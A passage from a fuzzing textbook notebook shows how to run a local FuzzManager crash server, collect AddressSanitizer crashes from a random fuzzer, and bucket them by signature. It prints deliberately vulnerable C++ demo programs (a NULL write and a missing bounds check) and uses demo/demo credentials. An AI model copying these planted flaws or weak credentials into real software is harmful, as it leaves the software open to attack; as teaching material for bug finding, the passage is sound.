ry='18' data-evernote-id='711' class='js-evernote-checked'%3e%3c/ellipse%3e
%3ctext text-anchor='middle' x='348.2463' y='-158.3' font-
family='Times%2cserif' font-size='14.00' fill='%23000000' data-evernote-
id='712' class='js-evernote-checked'%3eFuzzer 4%3c/text%3e %3c/g%3e %3c!--
Fuzzer 4%26%2345%3b%26gt%3bCrash Server --%3e %3cg id='edge4' class='edge js-
evernote-checked' data-evernote-id='713'%3e %3ctitle data-evernote-id='714'
class='js-evernote-checked'%3eFuzzer 4-%26gt%3bCrash Server%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M335.9006%2c-144.5708C329.8517%2c-136.0312 322.443%2c-125.5719
315.7358%2c-116.1029' data-evernote-id='715' class='js-evernote-
checked'%3e%3c/path%3e %3cpolygon fill='%23000000' stroke='%23000000'
points='318.4688%2c-113.9061 309.8325%2c-107.7689 312.7567%2c-117.9522
318.4688%2c-113.9061' data-evernote-id='716' class='js-evernote-
checked'%3e%3c/polygon%3e %3c/g%3e %3c!-- Fuzzer 5 --%3e %3cg id='node7'
class='node js-evernote-checked' data-evernote-id='717'%3e %3ctitle data-
evernote-id='718' class='js-evernote-checked'%3eFuzzer 5%3c/title%3e
%3cellipse fill='none' stroke='%23000000' cx='450.2463' cy='-162' rx='42.4939'
ry='18' data-evernote-id='719' class='js-evernote-checked'%3e%3c/ellipse%3e
%3ctext text-anchor='middle' x='450.2463' y='-158.3' font-
family='Times%2cserif' font-size='14.00' fill='%23000000' data-evernote-
id='720' class='js-evernote-checked'%3eFuzzer 5%3c/text%3e %3c/g%3e %3c!--
Fuzzer 5%26%2345%3b%26gt%3bCrash Server --%3e %3cg id='edge5' class='edge js-
evernote-checked' data-evernote-id='721'%3e %3ctitle data-evernote-id='722'
class='js-evernote-checked'%3eFuzzer 5-%26gt%3bCrash Server%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M421.8267%2c-148.6261C398.4288%2c-137.6153 364.9394%2c-121.8556
338.5744%2c-109.4486' data-evernote-id='723' class='js-evernote-
checked'%3e%3c/path%3e %3cpolygon fill='%23000000' stroke='%23000000'
points='339.7538%2c-106.1354 329.2153%2c-105.0442 336.7731%2c-112.4691
339.7538%2c-106.1354' data-evernote-id='724' class='js-evernote-
checked'%3e%3c/polygon%3e %3c/g%3e %3c!-- Fuzzer 6 --%3e %3cg id='node8'
class='node js-evernote-checked' data-evernote-id='725'%3e %3ctitle data-
evernote-id='726' class='js-evernote-checked'%3eFuzzer 6%3c/title%3e
%3cellipse fill='none' stroke='%23000000' cx='552.2463' cy='-162' rx='42.4939'
ry='18' data-evernote-id='727' class='js-evernote-checked'%3e%3c/ellipse%3e
%3ctext text-anchor='middle' x='552.2463' y='-158.3' font-
family='Times%2cserif' font-size='14.00' fill='%23000000' data-evernote-
id='728' class='js-evernote-checked'%3eFuzzer 6%3c/text%3e %3c/g%3e %3c!--
Fuzzer 6%26%2345%3b%26gt%3bCrash Server --%3e %3cg id='edge6' class='edge js-
evernote-checked' data-evernote-id='729'%3e %3ctitle data-evernote-id='730'
class='js-evernote-checked'%3eFuzzer 6-%26gt%3bCrash Server%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M520.0015%2c-150.1786C513.8062%2c-148.0326 507.3477%2c-145.8809
501.2463%2c-144 451.5985%2c-128.6948 394.3577%2c-113.7762
353.1702%2c-103.5122' data-evernote-id='731' class='js-evernote-
checked'%3e%3c/path%3e %3cpolygon fill='%23000000' stroke='%23000000'
points='353.8712%2c-100.0801 343.3228%2c-101.0706 352.1866%2c-106.8744
353.8712%2c-100.0801' data-evernote-id='732' class='js-evernote-
checked'%3e%3c/polygon%3e %3c/g%3e %3c/g%3e %3c/svg%3e' />

The resulting crash database can be _queried_ to find out which failures have
occurred – typically, using a Web interface. It can also be _integrated_ with
other process activities. Most importantly, entries in the crash database can
be linked to the _bug database_ , and vice versa, such that bugs \(= crashes\)
can be assigned to individual developers.

In such an infrastructure, collecting crashes is not limited to fuzzers.
Crashes and failures occurring in the wild can also be automatically reported
to the crash server. In industry, it is not uncommon to have crash databases
collecting thousands of crashes from production runs – especially if the
software in question is used by millions of people every day.

What information is stored in such a database?

  * Most important is the _identifier_ of the product – that is, the product name, version information as well as the platform and the operating system. Without this information, there is no way developers can tell whether the bug is still around in the latest version, or whether it already has been fixed.
  * For debugging, the most helpful information for developers are the _steps to reproduce_ – in a fuzzing scenario, this would be the _input_ to the program in question. \(In a production scenario, the user's input is not collected for obvious privacy reasons.\)
  * Second most helpful for debugging is a _stack trace_ such that developers can inspect which internal functionality was active in the moment of the failure. A _coverage_ map also comes in handy, since developers can query which functions were executed and which were not.
  * If general failures are collected, developers also need to know what the expected behavior was; for crashes, this is simple, as users do not expect their software to crash.

All of this information can be collected automatically if the fuzzer \(or the
program in question\) is set up accordingly.

In this chapter, we will explore a platform that automates all these steps.
The _FuzzManager_ platform allows to

  1. _collect_ failure data from failing runs,
  2. _enter_ this data into a centralized server, and
  3. _query_ the server via a Web interface.

In this chapter, we will show how to conduct basic steps with FuzzManager,
including crash submission and triage as well as coverage measurement tasks.

## Running a Crash Server¶

FuzzManager is a tool chain for managing large-scale fuzzing processes. It is
_modular_ in the sense that you can make use of those parts you need; it is
_versatile_ in the sense that it does not impose a particular process. It
consists of a _server_ whose task is to collect crash data, as well as of
various _collector utilities_ that collect crash data to send it to the
server.

### Setting up the Server¶

To run the examples in this notebook, we need to run a _crash server_ – that
is, the _FuzzManager_ server. You can either

  1. Run your own server. To do so, you need to follow the installation steps listed under "Server Setup" on the FuzzManager page. The `FuzzManager` folder should be created in the same folder as this notebook.
  2. Have the notebook start \(and stop\) a server. The following commands following commands do this automatically. They are meant for the purposes of this notebook only, though; if you want to experiment with your own server, run it manually, as described above.

We start with getting the fresh server code from the repository.

[code]

    import os
    import shutil
    
[/code]

[code]

    if os.path.exists('FuzzManager'):
        shutil.rmtree('FuzzManager')
    
[/code]

[code]

    !git clone https://github.com/MozillaSecurity/FuzzManager
    
[/code]

[code]

    Cloning into 'FuzzManager'...
    remote: Enumerating objects: 192, done.
    remote: Counting objects: 100% (192/192), done.
    remote: Compressing objects: 100% (120/120), done.
    remote: Total 9334 (delta 86), reused 165 (delta 66), pack-reused 9142
    Receiving objects: 100% (9334/9334), 4.62 MiB | 6.09 MiB/s, done.
    Resolving deltas: 100% (6160/6160), done.
    
[/code]

[code]

    !pip install -r FuzzManager/server/requirements.txt > /dev/null
    
[/code]

[code]

    You are using pip version 19.0.2, however version 19.1 is available.
    You should consider upgrading via the 'pip install --upgrade pip' command.
    
[/code]

[code]

    !cd FuzzManager/server; python ./manage.py migrate > /dev/null
    
[/code]

We create a user named `demo` with a password `demo`, using this handy trick.

[code]

    !(cd FuzzManager/server; echo "from django.contrib.auth import get_user_model; User = get_user_model(); User.objects.create_superuser('demo', 'demo@fuzzingbook.org', 'demo')" | python manage.py shell)
    
[/code]

We create a token for this user. This token will later be used by automatic
commands for authentication.

[code]

    import subprocess
    import sys
    
[/code]

[code]

    result = subprocess.run(['python', 'FuzzManager/server/manage.py', 'get_auth_token', 'demo'], 
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    err = result.stderr.decode('ascii')
    if len(err) > 0:
        print(err, file=sys.stderr, end="")
    
[/code]

[code]

    token = result.stdout
    token = token.decode('ascii').strip()
    token
    
[/code]

[code]

    '69726d2a7d2f6428e8340a2d4fa4b736e856722d'
    
[/code]

[code]

    assert len(token) > 10, "Invalid token " + repr(token)
    
[/code]

The token is stored in `~/.fuzzmanagerconf` in our home folder.

[code]

    home = os.path.expanduser("~")
    conf = os.path.join(home, ".fuzzmanagerconf")
    conf
    
[/code]

[code]

    '/Users/zeller/.fuzzmanagerconf'
    
[/code]

[code]

    fuzzmanagerconf = """
    [Main]
    sigdir = /home/example/fuzzingbok
    serverhost = 127.0.0.1
    serverport = 8000
    serverproto = http
    serverauthtoken = %s
    tool = fuzzingbook
    """ % token
    
[/code]

[code]

    with open(conf, "w") as file:
        file.write(fuzzmanagerconf)
    
[/code]

[code]

    from pygments.lexers.configs import IniLexer
    
[/code]

[code]

    from fuzzingbook_utils import print_file
    
[/code]

[code]

    print_file(conf, lexer=IniLexer())
    
[/code]

[code]

    [Main]
    sigdir = /home/example/fuzzingbok
    serverhost = 127.0.0.1
    serverport = 8000
    serverproto = http
    serverauthtoken = 69726d2a7d2f6428e8340a2d4fa4b736e856722d
    tool = fuzzingbook
    
[/code]

### Starting the Server¶

Once the server is set up, we can start it. On the command line, we use

[code]

    $ python FuzzManager/server/manage.py runserver
    
[/code]

In our notebook, we can do this programmatically, using the `Process`
framework introduced for fuzzing Web servers. We let the FuzzManager server
run in its own process, which we start in the background.

[code]

    from multiprocessing import Process
    
[/code]

[code]

    import subprocess
    
[/code]

[code]

    def run_fuzzmanager():
        def run_fuzzmanager_forever():
            proc = subprocess.Popen(['python', 'FuzzManager/server/manage.py', 'runserver'],
                                      stdout=subprocess.PIPE,
                                      stdin=subprocess.PIPE,
                                      stderr=subprocess.STDOUT,
                                        universal_newlines=True)
            while True:
                line = proc.stdout.readline()
                print(line, end='')
    
        fuzzmanager_process = Process(target=run_fuzzmanager_forever)
        fuzzmanager_process.start()
    
        return fuzzmanager_process
    
[/code]

While the server is running, you will be able to see its output below.

[code]

    fuzzmanager_process = run_fuzzmanager()
    
[/code]

[code]

    import time
    
[/code]

[code]

    time.sleep(2)
    
[/code]

### Logging In¶

 _FuzzManager_ can now be reached on the local host using this URL. To log in,
use the username `demo` and the password `demo`. In this notebook, we do this
programmatically, using the _Selenium_ interface introduced in the chapter on
GUI fuzzing.

[code]

    fuzzmanager_url = "http://127.0.0.1:8000"
    
[/code]

[code]

    from IPython.display import display, Image
    
[/code]

[code]

    from fuzzingbook_utils import HTML, rich_output
    
[/code]

[code]

    from GUIFuzzer import start_webdriver  # minor dependency
    
[/code]

For an interactive session, set `headless` to `False`; then you can interact
with `FuzzManager` at the same time you are interacting with this notebook.

[code]

    gui_driver = start_webdriver(headless=True, zoom=1.2)
    
[/code]

[code]

    gui_driver.set_window_size(1400, 600)
    
[/code]

[code]

    gui_driver.get(fuzzmanager_url)
    
[/code]

This is the starting screen of `FuzzManager`:

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3355.png' width='794' height='298' />

We now log in by sending `demo` both as username and password, and then click
on the `Login` button.

[code]

    username = gui_driver.find_element_by_name("username")
    username.send_keys("demo")
    
[/code]

[code]

    password = gui_driver.find_element_by_name("password")
    password.send_keys("demo")
    
[/code]

[code]

    login = gui_driver.find_element_by_tag_name("button")
    login.click()
    time.sleep(1)
    
[/code]

After login, we find an empty database. This is where crashes will appear,
once we have collected them.

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3350.png' width='794' height='298' />

## Collecting Crashes¶

To fill our database, we need some crashes. Let us take a look at `simply-
buggy`, an example repository containing trivial C++ programs for illustration
purposes.

[code]

    !git clone https://github.com/choller/simply-buggy
    
[/code]

[code]

    Cloning into 'simply-buggy'...
    remote: Enumerating objects: 22, done.
    remote: Counting objects: 100% (22/22), done.
    remote: Compressing objects: 100% (16/16), done.
    remote: Total 22 (delta 9), reused 15 (delta 6), pack-reused 0
    Unpacking objects: 100% (22/22), done.
    
[/code]

The make command compiles our target program, including our first target, the
_simple-crash_ example. Alongside the program, there is also a configuration
file generated.

[code]

    !(cd simply-buggy && make)
    
[/code]

[code]

    clang++ -fsanitize=address -g -o maze maze.cpp
    clang++ -fsanitize=address -g -o out-of-bounds out-of-bounds.cpp
    clang++ -fsanitize=address -g -o simple-crash simple-crash.cpp
    
[/code]

Let's take a look at the `simple-crash` source code. As you can see, the
source code is fairly simple: A forced crash by writing to a \(near\)-NULL
pointer. This should immediately crash on most machines.

[code]

    from fuzzingbook_utils import print_file
    
[/code]

[code]

    print_file("simply-buggy/simple-crash.cpp")
    
[/code]

[code]

    /*
     * simple-crash - A simple NULL crash.
     *
     * WARNING: This program neither makes sense nor should you code like it is
     *          done in this program. It is purely for demo purposes and uses
     *          bad and meaningless coding habits on purpose.
     */
    
    int crash() {
      int* p = (int*)0x1;
      *p = 0xDEADBEEF;
      return *p;
    }
    
    int main(int argc, char** argv) {
      return crash();
    }
    
[/code]

The configuration file generated for the the binary also contains some
straightforward information, like the version of the program and other
metadata that is required or at least useful later on when submitting crashes.

[code]

    print_file("simply-buggy/simple-crash.fuzzmanagerconf", lexer=IniLexer())
    
[/code]

[code]

    [Main]
    platform = x86-64
    product = simple-crash-simple-crash
    product_version = 83038f74e812529d0fc172a718946fbec385403e
    os = linux
    
    [Metadata]
    pathPrefix = /Users/zeller/Projects/fuzzingbook/notebooks/simply-buggy/
    buildFlags = -fsanitize=address -g
    
[/code]

Let us run the program\! We immediately get a crash trace as expected:

[code]

    !simply-buggy/simple-crash
    
[/code]

[code]

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==88113==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x0001064d5e78 bp 0x7ffee972a520 sp 0x7ffee972a4f0 T0)
    ==88113==The signal is caused by a WRITE memory access.
    ==88113==Hint: address points to the zero page.
        #0 0x1064d5e77 in crash() simple-crash.cpp:11
        #1 0x1064d5efa in main simple-crash.cpp:16
        #2 0x7fff7ca493d4 in start (libdyld.dylib:x86_64+0x163d4)
    
    ==88113==Register values:
    rax = 0x0000000000000001  rbx = 0x0000000000000000  rcx = 0x0000000000000001  rdx = 0x0000100000000000  
    rdi = 0x0000000000000000  rsi = 0x0000100000000000  rbp = 0x00007ffee972a520  rsp = 0x00007ffee972a4f0  
     r8 = 0x0000000000000000   r9 = 0x0000000000000000  r10 = 0x0000000000000000  r11 = 0x0000000000000000  
    r12 = 0x0000000000000000  r13 = 0x0000000000000000  r14 = 0x0000000000000000  r15 = 0x0000000000000000  
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV simple-crash.cpp:11 in crash()
    ==88113==ABORTING
    
[/code]

Now, what we would actually like to do is to run this binary from Python
instead, detect that it crashed, collect the trace and submit it to the
server. Let's start with a simple script that would just run the program we
give it and detect the presence of the ASan trace:

[code]

    import subprocess
    
[/code]

[code]

    cmd = ["simply-buggy/simple-crash"]
    
[/code]

[code]

    result = subprocess.run(cmd, stderr=subprocess.PIPE)
    stderr = result.stderr.decode().splitlines()
    crashed = False
    
    for line in stderr:
        if "ERROR: AddressSanitizer" in line:
            crashed = True
            break
    
    if crashed:
        print("Yay, we crashed!")
    else:
        print("Move along, nothing to see...")
    
[/code]

[code]

    Yay, we crashed!
    
[/code]

With this script, we can now run the binary and indeed detect that it crashed.
But how do we send this information to the crash server now? Let's add a few
features from the _FuzzManager_ toolbox.

### Program Configurations¶

A `ProgramConfiguration` is largely a container class storing various
properties of the program, e.g. product name, the platform, version and
runtime options. By default, it reads the information from the
`.fuzzmanagerconf` file created for the program under test.

[code]

    from FTB.ProgramConfiguration import ProgramConfiguration
    
[/code]

[code]

    configuration = ProgramConfiguration.fromBinary('simply-buggy/simple-crash')
    (configuration.product, configuration.platform)
    
[/code]

[code]

    ('simple-crash-simple-crash', 'x86-64')
    
[/code]

### Crash Info¶

A `CrashInfo` object stores all the necessary data about a crash, including

  * the stdout output of your program
  * the stderr output of your program
  * crash information as produced by GDB or AddressSanitizer
  * a `ProgramConfiguration` instance

[code]

    from FTB.Signatures.CrashInfo import CrashInfo
    
[/code]

Let's collect the information for the run of `simply-crash`:

[code]

    cmd = ["simply-buggy/simple-crash"]
    result = subprocess.run(cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    
[/code]

[code]

    stderr = result.stderr.decode().splitlines()
    stderr[0:3]
    
[/code]

[code]

    ['AddressSanitizer:DEADLYSIGNAL',
     '=================================================================',
     '==88120==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x00010464ee78 bp 0x7ffeeb5b14d0 sp 0x7ffeeb5b14a0 T0)']
    
[/code]

[code]

    stdout = result.stdout.decode().splitlines()
    stdout
    
[/code]

[code]

    []
    
[/code]

This reads and parses our ASan trace into a more generic format, returning us
a generic `CrashInfo` object that we can inspect and/or submit to the server:

[code]

    crashInfo = CrashInfo.fromRawCrashData(stdout, stderr, configuration)
    print(crashInfo)
    
[/code]

[code]

    Crash trace:
    
    # 00    crash
    # 01    main
    # 02    start
    
    Crash address: 0x1
    
    Last 5 lines on stderr:
     r8 = 0x0000000000000000   r9 = 0x0000000000000000  r10 = 0x0000000000000000  r11 = 0x0000000000000000  
    r12 = 0x0000000000000000  r13 = 0x0000000000000000  r14 = 0x0000000000000000  r15 = 0x0000000000000000  
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV simple-crash.cpp:11 in crash()
    ==88120==ABORTING
    
[/code]

### Collector¶

The last step is to send the crash info to our crash manager. A `Collector` is
a feature to communicate with a CrashManager server. Collector provides an
easy client interface that allows your clients to submit crashes as well as
download and match existing signatures to avoid reporting frequent issues
repeatedly.

[code]

    from Collector.Collector import Collector
    
[/code]

We instantiate the collector instance; this will be our entry point for
talking to the server.

[code]

    collector = Collector()
    
[/code]

To submit the crash info, we use the collector's `submit()` method:

[code]

    collector.submit(crashInfo);
    
[/code]

### Inspecting Crashes¶

We now submitted something to our local FuzzManager demo instance. If you run
the crash server on your local machine, you can go to
http://127.0.0.1:8000/crashmanager/crashes/ you should see the crash info just
submitted. You can inquire the product, version, operating system, and further
crash details.

[code]

    gui_driver.refresh()
    
[/code]

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3351.png' width='794' height='298' />

If you click on the crash ID, you can further inspect the submitted data.

[code]

    crash = gui_driver.find_element_by_xpath('//td/a[contains(@href,"/crashmanager/crashes/")]')
    crash.click()
    time.sleep(1)
    
[/code]

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3357.png' width='794' height='298' />

Since `Collector`s can be called from any program \(provided they are
configured to talk to the correct server\), you can now collect crashes from
anywhere – fuzzers on remote machines, crashes occurring during beta testing,
or even crashes during production.

## Crash Buckets¶

One challenge with collecting crashes is that the _same crashes occur multiple
times._ If a product is in the hands of millions of users, chances are that
thousands of them will encounter the same bug, and thus the same crash.
Therefore, the database will have thousands of entries that are all caused by
the same one bug. Therefore, it is necessary to identify those failures that
are _similar_ and to group them together in a set called a _crash bucket_ or
_bucket_ for short.

In _FuzzManager_ , a bucket is defined through a _crash signature_ , a list of
predicates matching a set of bugs. Such a predicate can refer to a number of
features, the most important being

  * the current _program counter_ , reporting the instruction excuted at the moment of the crash;
  * elements from the _stack trace_ , showing which functions were active at the moment of the crash.

We can create such a signature right away when viewing a single crash:

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3357.png' width='794' height='298' />

Clicking the red `Create` button creates a bucket for this crash. A _crash
signature_ will be proposed to you for matching this and future crashes of the
same type:

[code]

    create = gui_driver.find_element_by_xpath('//a[contains(@href,"/signatures/new/")]')
    create.click()
    time.sleep(1)
    
[/code]

[code]

    gui_driver.set_window_size(1400, 1200)
    
[/code]

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3353.png' width='794' height='638' />

Accept it by clicking _Save_.

[code]

    save = gui_driver.find_element_by_name("submit_save")
    save.click()
    time.sleep(1)
    
[/code]

You will be redirected to the newly created bucket, which shows you the size
\(how many crashes it holds\), its bug report status \(buckets can be linked
to bugs in an external bug tracker like Bugzilla\) and many other useful
information.

### Crash Signatures¶

If you click on the _Signatures_ entry in the top menu, you should also see
your newly created entry.

[code]

    gui_driver.set_window_size(1400, 800)
    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3349.png' width='794' height='412' />

You see that this signature refers to a crash occurring in the function
`crash()` \(duh\!\) when called from `main()` when called from `start()` \(an
internal OS function\). We also see the current crash address.

Buckets and their signatures are a central concept in FuzzManager. If you
receive a lot of crash reports from various sources, bucketing allows you to
easily group crashes and filter duplicates.

### Coarse-Grained Signatures¶

The flexible signature system starts out with an initially proposed fine-
grained signature, but it can be adjusted as needed to capture _variations_ of
the same bug and make tracking easier.

In the next example, we will look at a more complex example that reads data
from a file and creates multiple crash signatures.

[code]

    print_file("simply-buggy/out-of-bounds.cpp")
    
[/code]

[code]

    /*
     * out-of-bounds - A simple multi-signature out-of-bounds demo.
     *
     * WARNING: This program neither makes sense nor should you code like it is
     *          done in this program. It is purely for demo purposes and uses
     *          bad and meaningless coding habits on purpose.
     */
    #include <cstring>
    #include <fstream>
    #include <iostream>
    
    void printFirst(char* data, size_t count) {
      std::string first(data, count);
      std::cout << first << std::endl;
    }
    
    void printLast(char* data, size_t count) {
      std::string last(data + strlen(data) - count, count);
      std::cout << last << std::endl;
    }
    
    int validateAndPerformAction(char* buffer, size_t size) {
      if (size < 2) {
        std::cerr << "Buffer is too short." << std::endl;
        return 1;
      }
    
      uint8_t action = buffer[0];
      uint8_t count = buffer[1];
      char* data = buffer + 2;
    
      if (!count) {
        std::cerr << "count must be non-zero." << std::endl;
        return 1;
      }
    
      // Forgot to check count vs. the length of data here, doh!
    
      if (!action) {
        std::cerr << "Action can't be zero." << std::endl;
        return 1;
      } else if (action >= 128) {
        printLast(data, count);
        return 0;
      } else {
        printFirst(data, count);
        return 0;
      }
    }
    
    int main(int argc, char** argv) {
      if (argc < 2) {
        std::cerr << "Usage is: " << argv[0] << " <file>" << std::endl;
        exit(1);
      }
    
      std::ifstream input(argv[1], std::ifstream::binary);
      if (!input) {
        std::cerr << "Error opening file." << std::endl;
        exit(1);
      }
    
      input.seekg(0, input.end);
      int size = input.tellg();
      input.seekg(0, input.beg);
    
      if (size < 0) {
        std::cerr << "Error seeking in file." << std::endl;
        exit(1);
      }
    
      char* buffer = new char[size];
      input.read(buffer, size);
    
      if (!input) {
        std::cerr << "Error while reading file." << std::endl;
        exit(1);
      }
    
      int ret = validateAndPerformAction(buffer, size);
    
      delete[] buffer;
      return ret;
    }
    
[/code]

This program looks way more elaborate compared to the last one, but don't
worry, it is not really doing a whole lot:

  * The code in the `main()` function simply reads a file provided on the command line and puts its contents into a buffer that is passed to `validateAndPerformAction()`.
  * That `validateAndPerformAction()` function pulls out two bytes of the buffer \(`action` and `count`\) and considers the rest `data`. Depending on the value of `action`, it then calls either `printFirst()` or `printLast()`, which prints either the first or the last `count` bytes of `data`.

If this sounds pointless, that is because it is. The whole idea of this
program is that the security check \(that `count` is not larger than the
length of `data`\) is missing in `validateAndPerformAction()` but that the
illegal access happens later in either of the two print functions. Hence, we
would expect this program to generate at least two \(slightly\) different
crash signatures - one with `printFirst()` and one with `printLast()`.

Let's try it out with very simple fuzzing based on the last Python script.

[code]

    import os
    import random
    import subprocess
    import tempfile
    import sys
    
[/code]

Since _FuzzManager_ can have trouble with 8-bit characters in the input, we
introduce an `escapelines()` function that converts text to printable ASCII
characters.

[code]

    def isascii(s):
        return all([0 <= ord(c) <= 127 for c in s])
    
[/code]

[code]

    isascii('Hello,')
    
[/code]

[code]

    True
    
[/code]

[code]

    def escapelines(bytes):
        def ascii_chr(byte):
            if 0 <= byte <= 127:
                return chr(byte)
            return r"\x%02x" % byte
    
        def unicode_escape(line):
            ret = "".join(map(ascii_chr, line))
            assert isascii(ret)
            return ret
    
        return [unicode_escape(line) for line in bytes.splitlines()]
    
[/code]

[code]

    escapelines(b"Hello,\nworld!")
    
[/code]

[code]

    ['Hello,', 'world!']
    
[/code]

[code]

    escapelines(b"abc\xffABC")
    
[/code]

[code]

    ['abc\\xffABC']
    
[/code]

Now to the actual script. As above, we set up a collector that collects and
sends crash info whenever a crash occurs.

[code]

    cmd = ["simply-buggy/out-of-bounds"]
    
    # Connect to crash server
    collector = Collector()
    
    random.seed(2048)
    
    crash_count = 0
    TRIALS = 20
    
    for itnum in range(0, TRIALS):
        rand_len = random.randint(1, 1024)
        rand_data = bytes([random.randrange(0, 256) for i in range(rand_len)])
    
        (fd, current_file) = tempfile.mkstemp(prefix="fuzztest", text=True)
        os.write(fd, rand_data)
        os.close(fd)
    
        current_cmd = []
        current_cmd.extend(cmd)
        current_cmd.append(current_file)
    
        result = subprocess.run(current_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout = []   # escapelines(result.stdout)
        stderr = escapelines(result.stderr)
        crashed = False
    
        for line in stderr:
            if "ERROR: AddressSanitizer" in line:
                crashed = True
                break
    
        print(itnum, end=" ")
    
        if crashed:
            sys.stdout.write("(Crash) ")
    
            # This reads the simple-crash.fuzzmanagerconf file
            configuration = ProgramConfiguration.fromBinary(cmd[0])
    
            # This reads and parses our ASan trace into a more generic format,
            # returning us a generic "CrashInfo" object that we can inspect
            # and/or submit to the server.
            crashInfo = CrashInfo.fromRawCrashData(stdout, stderr, configuration)
    
            # Submit the crash
            collector.submit(crashInfo, testCase = current_file)
    
            crash_count += 1
    
        os.remove(current_file)
    
    print("")
    print("Done, submitted %d crashes after %d runs." % (crash_count, TRIALS))
    
[/code]

[code]

    0 (Crash) 1 2 (Crash) 3 4 5 6 7 8 (Crash) 9 10 11 12 (Crash) 13 14 (Crash) 15 16 17 18 19 
    Done, submitted 5 crashes after 20 runs.
    
[/code]

If you run this script, you will see its progress and notice that it produces
quite a few crashes. And indeed, if you visit the FuzzManager crashes page,
you will notice a variety of crashes that have accumulated:

[code]

    gui_driver.get(fuzzmanager_url + "/crashmanager/crashes")
    
[/code]

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3358.png' width='622' height='322' />

Pick the first crash and create a bucket for it, like you did the last time.
After saving, you will notice that not all of your crashes went into the
bucket. The reason is that our program created several different stacks that
are somewhat similar but not exactly identical. This is a common problem when
fuzzing real world applications.

Fortunately, there is an easy way to deal with this. While on the bucket page,
hit the _Optimize_ button for the bucket. FuzzManager will then automatically
propose you to change your signature. Accept the change by hitting `Edit with
Changes` and then `Save`. Repeat these steps until all crashes are part of the
bucket. After 3 to 4 iterations, your signature will likely look like this:

[code]

    {
      "symptoms": [
        {
          "type": "output",
          "src": "stderr",
          "value": "/ERROR: AddressSanitizer: heap-buffer-overflow/"
        },
        {
          "type": "stackFrames",
          "functionNames": [
            "?",
            "?",
            "?",
            "validateAndPerformAction",
            "main",
            "__libc_start_main",
            "_start"
          ]
        },
        {
          "type": "crashAddress",
          "address": "> 0xFF"
        }
      ]
    }
    
[/code]

As you can see in the `stackFrames` signature symptom, the
`validateAndPerformAction` function is still present in the stack frame,
because this function is common across all stack traces in all crashes; in
fact, this is where the bug lives. But the lower stack parts have been
generalized into arbitrary functions \(`?`\) because they vary across the set
of submitted crashes.

The `Optimize` function is designed to automate this process as much as
possible: It attempts to broaden the signature by fitting it to untriaged
crashes and then checks if the modified signature would touch other existing
buckets. This works with the assumption that other buckets are indeed other
bugs, i.e. if you had created two buckets from your crashes first, optimizing
would not work anymore. Also, if the existing bucket data is sparse and you
have a lot of untriaged crashes, the algorithm could propose changes that
include crashes of different bugs in the same bucket. There is no way to fully
automatically detect and prevent this, hence the process is semi-automated and
requires you to review all proposed changes.

## Collecting Code Coverage¶

In the chapter on coverage, we have seen how measuring code coverage can be
beneficial to assess fuzzer performance. Holes in code coverage can reveal
particularly hard-to-reach locations as well as bugs in the fuzzer itself.
Because this is an important part of the overall fuzzing operations,
FuzzManager supports visualizing _per-fuzzing code coverage_ of repositories –
that is, we can interactively _inspect_ which code was covered during fuzzing,
and which was not.

To illustrate coverage collection and visualization in _FuzzManager_ , we take
a look at a another simple C++ program, the `maze` example:

[code]

    print_file("simply-buggy/maze.cpp")
    
[/code]

[code]

    /*
     * maze - A simple constant maze that crashes at some point.
     *
     * WARNING: This program neither makes sense nor should you code like it is
     *          done in this program. It is purely for demo purposes and uses
     *          bad and meaningless coding habits on purpose.
     */
    
    #include <cstdlib>
    #include <iostream>
    
    int boom() {
      int* p = (int*)0x1;
      *p = 0xDEADBEEF;
      return *p;
    }
    
    int main(int argc, char** argv) {
      if (argc != 5) {
        std::cerr << "All I'm asking for is four numbers..." << std::endl;
        return 1;
      }
    
      int num1 = atoi(argv[1]);
      if (num1 > 0) {
        int num2 = atoi(argv[2]);
        if (num1 > 2040109464) {
          if (num2 < 0) {
            std::cerr << "You found secret 1" << std::endl;
            return 0;
          }
        } else {
          if ((unsigned int)num2 == 3735928559) {
            unsigned int num3 = atoi(argv[3]);
            if (num3 == 3405695742) {
              int num4 = atoi(argv[4]);
              if (num4 == 1111638594) {
                std::cerr << "You found secret 2" << std::endl;
                boom();
                return 0;
              }
            }
          }
        }
      }
    
      return 0;
    }
    
[/code]

As you can see, all this program does is read some numbers from the command
line, compare them to some magical constants and arbitrary criteria, and if
everything works out, you reach one of the two secrets in the program.
Reaching one of these secrets also triggers a failure.

Before we start to work on this program, we recompile the programs with
coverage support. In order to emit code coverage with either Clang or GCC,
programs typically need to be built and linked with special `CFLAGS` like
`--coverage`. In our case, the Makefile does this for us:

[code]

    !(cd simply-buggy && make clean && make coverage)
    
[/code]

[code]

    rm -f ./maze ./out-of-bounds ./simple-crash
    clang++ -fsanitize=address -g --coverage -o maze maze.cpp
    clang++ -fsanitize=address -g --coverage -o out-of-bounds out-of-bounds.cpp
    clang++ -fsanitize=address -g --coverage -o simple-crash simple-crash.cpp
    
[/code]

Also, if we want to use FuzzManager to look at our code, we need to do the
initial repository setup \(essentially giving the server its own working copy
of our _git_ repository to pull the source from\). Normally, the client and
server run on different machines, so this involves checking out the repository
on the server and telling it where to find it \(and what version control
system it uses\):

[code]

    !git clone https://github.com/choller/simply-buggy $HOME/simply-buggy-server    
    
[/code]

[code]

    Cloning into '/Users/zeller/simply-buggy-server'...
    remote: Enumerating objects: 22, done.
